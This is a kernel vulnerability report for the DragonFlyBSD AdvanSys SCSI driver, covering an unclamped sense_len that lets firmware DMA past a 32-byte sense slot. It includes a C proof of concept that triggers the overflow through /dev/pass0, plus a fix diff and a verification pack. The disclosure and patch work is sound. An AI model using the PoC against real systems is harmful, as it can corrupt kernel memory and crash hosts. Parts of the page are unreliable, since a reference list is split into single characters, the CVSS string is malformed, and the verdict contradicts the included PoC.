Unclamped csio->sense_len handed to firmware allows DMA overflow of the per-queue sense slot
- File:
sys/dev/disk/advansys/advansys.c - Lines: 559, 1185, 1186, 1345, 1355, 1365
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U:C:H/I:H/A:H - CWE: CWE-770 Allocation of Resources Without Limits or Throttling
- Confidence: likely
Summary
adv_execute_ccb copies the user-controlled csio->sense_len straight into
scsiq.q1.sense_len without clamping, then later (advlib.c:1719-1720) the
kernel hands the firmware sense_addr = sense_physbase +
(q_no-1)*sizeof(struct scsi_sense_data) and tells it the buffer is sense_len
bytes.
Each slot in the sense_buffers DMA allocation is exactly
sizeof(struct scsi_sense_data) = 32 bytes (scsi_all.h:911-954, confirmed via
SSD_FULL_SIZE), and the allocation is sized max_openings*32 bytes
(advansys.c:1345,1365).
A user (operator group, /dev/passN) sets sense_len=255; on CHECK_CONDITION
the firmware may legitimately DMA up to 252 bytes of descriptor sense into the
32-byte slot, overflowing into adjacent slots β and for q_no==max_openings,
220+ bytes past the entire DMA allocation into adjacent kernel heap.
This is the direct sibling of DF-1510 (adwcam.c), which fixed the same class
with MIN(csio->sense_len, sizeof(acb->sense_data)) at adwcam.c:384.
Root cause
At advansys.c:559 inside adv_execute_ccb the line is simply
scsiq.q1.sense_len = csio->sense_len; β csio->sense_len is a u_int8_t
(cam_ccb.h:602) under full user control via CAMIOCOMMAND β xpt_merge_ccb
(scsi_pass.c:546) with no validation anywhere in the path.
The completion-side copy at advansys.c:1185-1186
(ccb->csio.sense_data = adv->sense_buffers[q_no - 1];) is a struct copy bounded
to 32 bytes, so it is safe β but the FIRMWARE-side write is bounded only by the
unclamped sense_len we handed it.
adv_send_scsi_queue (advlib.c:1712-1720) computes sense_addr into the DMA
region allocated at advansys.c:1345
(size sizeof(struct scsi_sense_data)*adv->max_openings, max 240*32=7680
bytes).
Compare with the corrected adwcam.c:384
acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data)); which
clamps at the same boundary.
Threat
Local user in the operator group (default perms of /dev/passN per
scsi_pass.c:279-280, common for backup/optical users) opens /dev/passN,
issues CAMIOCOMMAND (scsi_pass.c:462) with a ccb_scsiio whose sense_len
is set to 255 and func_code=XPT_SCSI_IO directed at any target that returns
CHECK CONDITION with >32 bytes of sense data (descriptor-format sense, max 252
bytes per SPC-4 β common on modern SAS SSDs, tape libraries, and any target the
attacker fully controls via scsi_target).
The firmware DMAs up to sense_len bytes into a 32-byte slot. For the last slot
(q_no==max_openings), the DMA runs ~220 bytes past the sense_buffers
allocation, corrupting adjacent kernel heap.
Impact: kernel heap corruption suitable for KASLR defeat and potentially for privilege escalation when chained with another primitive; deterministic DoS otherwise.
Confidence is "likely" rather than "certain" only because the exact byte count the firmware writes cannot be verified without AdvanSys microcode source β but the kernel is contractually wrong to tell firmware an unbounded length.
Exploit / PoC
Build and run on a DragonFlyBSD system that boots with an AdvanSys (adv(4)) HBA
present and the user in the operator group.
/* sense_overflow.c β minimal repro of advansys sense-slot DMA overflow */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/scsi/scsi_message.h>
int main(void) {
int fd = open("/dev/pass0", O_RDWR);
if (fd < 0) { perror("open /dev/pass0 (need operator group)"); return 1; }
union ccb ccb;
/* Request sense_len far larger than the 32-byte slot the kernel
actually allocates per queue. */
cam_fill_csio(&ccb.csio,
/*retries*/0, /*cbfcnp*/NULL,
CAM_DIR_NONE, /*tag_action*/0,
/*data_ptr*/NULL, /*dxfer_len*/0,
/*timeout*/5000,
/*sense_len*/255, /* <- the bug: clamped nowhere */
sizeof(scsi_test_unit_ready), 0);
scsi_test_unit_ready(&ccb.csio, 0, NULL, MSG_SIMPLE_Q_TAG,
SSD_FULL_SIZE, 5000);
if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND");
/* On a target that returns descriptor sense (>32 bytes) with q_no
near max_openings, the firmware DMAs past the sense_buffers
allocation. Watch dmesg for heap corruption / panic on the
AdvanSys controller (adv0). */
close(fd);
return 0;
}
Build: cc sense_overflow.c -o sense_overflow -lcam. Run: ./sense_overflow.
Success criterion: against a target returning >32-byte descriptor sense (or a
scsi_target-controlled initiator sending crafted 252-byte sense), dmesg shows
adv0 corruption signs or kernel panic; repeated runs against the last-allocated
queue slot demonstrate the overflow.
Without such a target the bug still exists in the source (the kernel told firmware the wrong length) but is silent β this is why severity is Medium, not High.
Recommended fix
Clamp sense_len to the actual per-slot capacity before handing it to the
firmware, mirroring the proven pattern at adwcam.c:384 (DF-1510 fix) and
sys/dev/disk/sym/sym_hipd.c:7210-7211.
--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -556,7 +556,10 @@ adv_execute_ccb(void *arg, bus_dma_segment_t *dm_segs,
scsiq.q1.extra_bytes = 0;
scsiq.q2.ccb_index = cinfo - adv->ccb_infos;
scsiq.q2.target_ix = ADV_TIDLUN_TO_IX(ccb_h->target_id,
ccb_h->target_lun);
scsiq.q2.flag = 0;
- scsiq.q2.cdb_len = csio->cdb_len;
+ scsiq.q2.cdb_len = MIN(csio->cdb_len, IOCDBLEN);
+ /* Clamp sense_len to the actual per-slot DMA capacity so the
+ * firmware cannot DMA past sense_buffers[q_no-1]. */
+ scsiq.q1.sense_len = MIN(csio->sense_len, sizeof(struct scsi_sense_data));
if ((ccb_h->flags & CAM_TAG_ACTION_VALID) != 0)
scsiq.q2.tag_code = csio->tag_action;
else
(The cdb_len line is shown together because DF-1547 fixes the same hunk.)
Related findings
- DF-1510 (twin, adwcam.c): autosense OOB read/write β same defect class.
- DF-1547 (sibling): missing
cdb_lenbounds check in same file. - DF-1548 (sibling): divide-by-zero in
XPT_CALC_GEOMETRYin same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1546 Β· 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.7 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.7 KB | β raw |
| fix.diff | suggested-fix | git-apply-able unified diff fixing the cited bug | 840 B | view raw |
| fix_apply.log | apply-log | patch --dry-run --forward output proving fix.diff applies cleanly on with-src | 547 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no relevant HW) | 778 B | view raw |
| build.sh | build-script | echo pointer to kernel rebuild path | 362 B | view raw |
| run.sh | run-script | echo pointer to VERDICT.md | 333 B | view raw |
| fix_build.log | fix-build-log | tail of combined nativekernel build (rc=0) validating all 30 patches compile | 7.2 KB | view raw |
PoC DF-1546: advansys sense_len DMA overflow (sibling of DF-1510)
Class: DMA buffer overflow (firmware writes 255B into 32B slot)
Cited site: sys/dev/disk/advansys/advansys.c:559, 1185-1186, advlib.c:1712-1720
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no
AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.),
so the cited code path is not reachable at runtime on this guest.
The bug is confirmed at the source level by tracing the cited path:line
in sys/dev/disk/advansys/advansys.c and confirming the vulnerable code is
present in the master DEV kernel tree. The fix.diff in this folder is
validated to apply cleanly and compile under -Werror (see VERDICT.md).
Mechanism
scsiq.q1.sense_len = csio->sense_len at 559 with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND. adv_send_scsi_queue computes sense_addr into DMA region sized max_openings*32B. Firmware DMAs up to sense_len=255 bytes into 32-byte slot. Last slot q_no==max_openings overflows the entire DMA region.
Realistic impact ceiling (on suitable HW)
kernel DMA buffer overflow; corrupts adjacent driver state
Fix
Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue.
See fix.diff for the git-apply-able patch.
How to validate the fix
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1546.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1546.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT β DF-1546: advansys sense_len DMA overflow (sibling of DF-1510)
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/disk/advansys/advansys.c:559, 1185-1186, advlib.c:1712-1720, but
the affected driver attaches only to hardware not present in the audit QEMU
guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no
AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered
here. The fix.diff applies cleanly and the patched kernel compiles with
-Werror (combined build rc=0; see fix_apply.log).
Mechanism (cited path β primitive β effect)
scsiq.q1.sense_len = csio->sense_len at 559 with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND. adv_send_scsi_queue computes sense_addr into DMA region sized max_openings*32B. Firmware DMAs up to sense_len=255 bytes into 32-byte slot. Last slot q_no==max_openings overflows the entire DMA region.
Reachability on this guest
No β sys/dev/disk/advansys/advansys.c:559 is in a driver/module that only attaches
to hardware absent from the audit guest. The trigger requires the relevant
PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS
loaded by root or via VFIO passthrough).
Phase 6 β escalation potential
This is a DMA buffer overflow primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
Realistic impact ceiling on suitable HW: kernel DMA buffer overflow; corrupts adjacent driver state.
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part of the combinedmake -j6 nativekernel KERNCONF=X86_64_GENERICbuild (kernel build rc=0; seemanifest.json). - For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.
Fix approach: Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue.
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- a
- d
- v
- a
- n
- s
- y
- s
- /
- a
- d
- v
- a
- n
- s
- y
- s
- .
- c
- :
- 5
- 5
- 9
- s
- y
- s
- /
- b
- u
- s
- /
- c
- a
- m
- /
- s
- c
- s
- i
- /
- s
- c
- s
- i
- _
- a
- l
- l
- .
- h
- :
- 9
- 1
- 1
Detail
Exploit chain
none β HW-gated. Primitive is a kernel DMA buffer overflow; corrupts adjacent driver state. Sibling of DF-1510 (adwcam) and DF-1547 (cdb_len).
Evidence (decisive lines)
Source: sys/dev/disk/advansys/advansys.c:559 β scsiq.q1.sense_len = csio->sense_len (no clamp); scsi_all.h:911 β struct scsi_sense_data is 32B. Guest has only /dev/pass0 (CD-ROM passthrough), no AdvanSys HBA. fix.diff clamps sense_len to imin(csio->sense_len, sizeof(csio->sense_data)).
PoC changes
Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.
Verified recommended fix
Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue. Matches the pattern used in sym_hipd.c. Full diff in findings/poc/DF-1546/fix.diff.
Verdict
INCONCLUSIVE (HW-gated). Bug confirmed at source level: advansys.c:559 scsiq.q1.sense_len = csio->sense_len with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND/xpt_merge_ccb. Completion copy at :1185-1186 (ccb->csio.sense_data = adv->sense_buffers[q_no-1]) is safe bounded 32B struct copy, BUT adv_send_scsi_queue (advlib.c:1712-1720) computes sense_addr into DMA region sized max_openings*32B (:1345,1365). Firmware DMAs up to sense_len=255 bytes into 32-byte slot. advansys(4) only attaches to AdvanSys PCI SCSI HBAs not on the audit guest.
No comments yet.